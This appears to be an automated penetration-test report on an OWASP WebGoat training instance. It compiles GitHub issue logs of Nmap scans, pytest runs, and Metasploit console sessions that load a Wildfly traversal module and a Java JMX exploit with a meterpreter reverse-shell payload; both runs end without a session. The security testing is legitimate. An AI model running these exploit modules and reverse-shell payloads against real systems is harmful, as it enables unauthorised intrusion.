ASTICI

Pentest Report

Penetration test of **OWASP WebGoat**

Consultant: ASTICI

09/11/2023

Executive Sumary

Overview

ASTICI Inc. performed a Web Application Penetration Test on OWASP WebGoat applications. The scope of the testing was the following.

- CI/CD deployed OWASP Webgoat instance, deployed through Terraform scripts on Azure
- Covering sample OWASP vulnerabilities
- Covering Nmap scan
- Attempting exploit OWASP Webgoat webserver using readily available Metasploit exploits
- Staic code analysis using SonarCloud
- Software Composition Analysis using Snyk

ASTICI Inc. found that with a few minor exceptions the quality and coverage of security controls in the OWASP WebGoat applications were very solid.

Resume

ASTICI Inc. is a start-up researching on Github actions repository technology to enable automated security testing for cloud native web applications.

Finding Classification

Each finding is classified as a High, Medium, or Low risk based on ASTICI Inc. considerations of potential threats, the likelihood of attack, and the possible impact of a successful attack against Instructure’s OWASP WebGoat applications. Each of these factors is assessed individually and in combination to determine the overall risk designation. These assessments are based on ASTICI Inc. professional judgment and experience providing consulting services to enterprises across the country. This report outlines the findings ASTICI Inc. collected from the testing, as well as ASTICI Inc. recommendations that will assist Instructure in reducing its risks and helping remove the vulnerabilities found.

Vulnerabilities and Recomendations

The following pages show Github issues one by one, which would highlight all vulnerabilities in current application.

Priotity-High Metasploit-ParrotOS Test output

GitHub Issue number # 683

GitHub Issue URL : Here!

parrotOS
metasploit
"priority High"

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.6 MB in 57s (346 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Hit:1 https://deb.parrot.sh/parrot parrot InRelease
Ign:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

==========

Metasploit Framework Exploit Demo :

==========

Target Web Goat Instance IP Address : 40.80.86.52

Possible Metasploit exploits or auxilaries or payloads, that can used for attacking

==========

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploit*wildfly*dir_traversal.rc for ERB directives.

resource (./src/exploit*wildfly*dir*traversal.rc)> use auxiliary/scanner/http/wildfly*traversal

resource (./src/exploit*wildfly*dir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE*FILE*PATH standalone

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*wildfly*dir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*wildfly*dir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploit*wildfly*dir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit*java*jmx*reverse*https.rc for ERB directives.

resource (./src/exploit*java*jmx*reverse*https.rc)> use exploit/multi/misc/java*jmx*server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> show options

Module options (exploit/multi/misc/java*jmx*server):

Name Current Setting Required Description

---- --------------- -------- -----------

JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*java*jmx*reverse*https.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*java*jmx*reverse*https.rc)> use payload/java/meterpreter/
reverse_https

resource (./src/exploit*java*jmx*reverse*https.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit*java*jmx*reverse*https.rc)> exit

==========

Priotity-High Pytest-Playwright Test Output Issue

GitHub Issue number # 682

GitHub Issue URL : Here!

Playwright
pytest
"priority High"

Starting pytests....

============================= test session starts ==============================

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: base-url-2.0.0, playwright-0.4.3, tornasync-0.6.0.post2, anyio-4.0.0, asyncio-0.21.1, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

=================================== PASSES ===================================

============================== 5 passed in 23.69s ==============================

Stop pytests....

Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 681

GitHub Issue URL : Here!

parrotOS
nmap
"priority Medium"

Nmap vulnerability scanning
for 40.80.86.52

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Ign:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Ign:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.6 MB in 57s (346 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.

Hit:1 https://deb.parrot.sh/parrot parrot InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 (https://nmap.org) at 2023-11-09 07:17 UTC

Nmap scan report for 40.80.86.52

Host is up (0.23s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 d7:f6:07:05:04:79:e1:96:c0:23:78:cb:8a:aa:bf:17 (ECDSA)

|_ 256 4d:06:ad:7d:70:60:48:96:ed:95:b1:dd:0f:63:a8:19 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Thu, 09 Nov 2023 07:22:21 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Thu, 09 Nov 2023 07:22:19 GMT

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Thu, 09 Nov 2023 07:22:20 GMT

|_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Thu, 09 Nov 2023 07:22:19 GMT

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-09T07:22:19.907+00:00",

| "status" : 404,

| "error" : "Not Found",

| "path" : "/"

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Thu, 09 Nov 2023 07:22:38 GMT

| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-11-09T07:22:37.999+00:00",

| "status" : 404,

| "error" : "Not Found",

|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port8080-TCP:V=7.92%I=7%D=11/9%Time=654C88AC%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Thu, 09 Nov 2023 07:22:1

SF:9 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Thu, 09\x

SF:20Nov 2023 07:22:20 GMT

")%r(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Thu, 09

SF:0Nov 2023 07:22:21 GMT

")%r(Socks5,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-

SF:Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:400 Bad Request Content-Length: 0 Connection: close

SF:

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont

SF:ent-Length: 0 Connection: close

")%r(TerminalServerCook

SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co

SF:nnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

")%

SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:

SF:00 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400\n

SF:x20Bad Request Content-Length: 0 Connection: close

SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng

SF:th: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1.

SF:1 400 Bad Request Content-Length: 0 Connection: cl

SF:ose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co

SF:ntent-Length: 0 Connection: close

")%r(WMSRequest,42,"H

SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection

SF:: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques

SF:t Content-Length: 0 Connection: close

");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9090-TCP:V=7.92%I=7%D=11/9%Time=654C88AC%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach

SF:e-Control: no-cache, no-store, max-age=0, must-revalidate

SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra

SF:me-Options: DENY Date: Thu, 09 Nov 2023 07:22:19\x

SF:20GMT Connection: close Vary: Origin Vary: Access-Con

SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con

SF:tent-Type-Options: nosniff Content-Type: application/json \n

SF:r { \"timestamp\" : \"2023-11-09T07:22:19.907+00:00\"

SF:, \"status\" : 404, \"error\" : \"Not

SF:Found\", \"path\" : \"/\" }")%r(WMSRequest,42,"HTTP/1.

SF:1 400 Bad Request Content-Length: 0 Connection: cl

SF:ose

")%r(ibm-db2-das,42,"HTTP/1.1 400 Bad Request C

SF:ontent-Length: 0 Connection: close

")%r(SqueezeCenter_C

SF:LI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co

SF:nnection: close

")%r(GenericLines,42,"HTTP/1.1 400 Bad

SF: Request Content-Length: 0 Connection: close

")%r

SF:(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0

SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida

SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X

SF:-Frame-Options: DENY Date: Thu, 09 Nov 2023 07:22:

SF:38 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA

SF:CE, OPTIONS, PATCH Connection: close Vary: Origin

SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque

SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap

SF:plication/json

{ \"timestamp\" : \"2023-11-09T07:

SF:22:37.999+00:00\", \"status\" : 404, \"error\n

SF:" : \"Not Found\", \"path\" : \"/\" }")%r(RTSP

SF:Request,42,"HTTP/1.1 400 Bad Request Content-Length: 0\n

SF:r Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linux*kernel:4.0 cpe:/o:linux:linux*kernel:2.6.32 cpe:/o:linux:linux*kernel:3.10 cpe:/o:linux:linux*kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 2.6.39 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 6051.81 ms 40.80.86.52

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 406.53 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (https://nmap.org) at 2023-11-09 07:24 UTC

Nmap scan report for 40.80.86.52

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (https://nmap.org) at 2023-11-09 07:24 UTC

Nmap scan report for 40.80.86.52

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.29 seconds

Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 680

GitHub Issue URL : Here!

SonarCloud
"priority High"

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Priority High - Snyk Report

GitHub Issue number # 679

GitHub Issue URL : Here!

Snyk_scan
"priotity High"

Snyk Scan for OWASP WebGoat

Go to https://app.snyk.io/org/pradyumna-muppirala for full report of Snyk with Github SSO.

Priotity-High Metasploit-ParrotOS Test output

GitHub Issue number # 678

GitHub Issue URL : Here!

parrotOS
metasploit
"priority High"

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.6 MB in 1min 1s (322 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common python3-certifi
python3-typing-extensions
49 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 49.8 MB of archives.
After this operation, 38.9 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Hit:1 https://deb.parrot.sh/parrot parrot InRelease
Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

==========

Metasploit Framework Exploit Demo :

==========

Target Web Goat Instance IP Address : 40.80.86.52

Possible Metasploit exploits or auxilaries or payloads, that can used for attacking

==========

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploit*wildfly*dir_traversal.rc for ERB directives.

resource (./src/exploit*wildfly*dir*traversal.rc)> use auxiliary/scanner/http/wildfly*traversal

resource (./src/exploit*wildfly*dir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE*FILE*PATH standalone

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*wildfly*dir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*wildfly*dir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploit*wildfly*dir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit*java*jmx*reverse*https.rc for ERB directives.

resource (./src/exploit*java*jmx*reverse*https.rc)> use exploit/multi/misc/java*jmx*server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> show options

Module options (exploit/multi/misc/java*jmx*server):

Name Current Setting Required Description

---- --------------- -------- -----------

JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*java*jmx*reverse*https.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*java*jmx*reverse*https.rc)> use payload/java/meterpreter/
reverse_https

resource (./src/exploit*java*jmx*reverse*https.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit*java*jmx*reverse*https.rc)> exit

==========

Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 677

GitHub Issue URL : Here!

parrotOS
nmap
"priority Medium"

Nmap vulnerability scanning
for 40.80.86.52

Making sure that parrot OS docker image has all the latest updates...

Ign:1 https://deb.parrot.sh/parrot parrot InRelease

Ign:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Ign:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.6 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [107 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [214 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [519 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1107 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.8 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.6 MB in 1min 21s (242 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

49 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

libx11-6 libx11-data libxpm4 locales openssh-client openssh-server

openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13

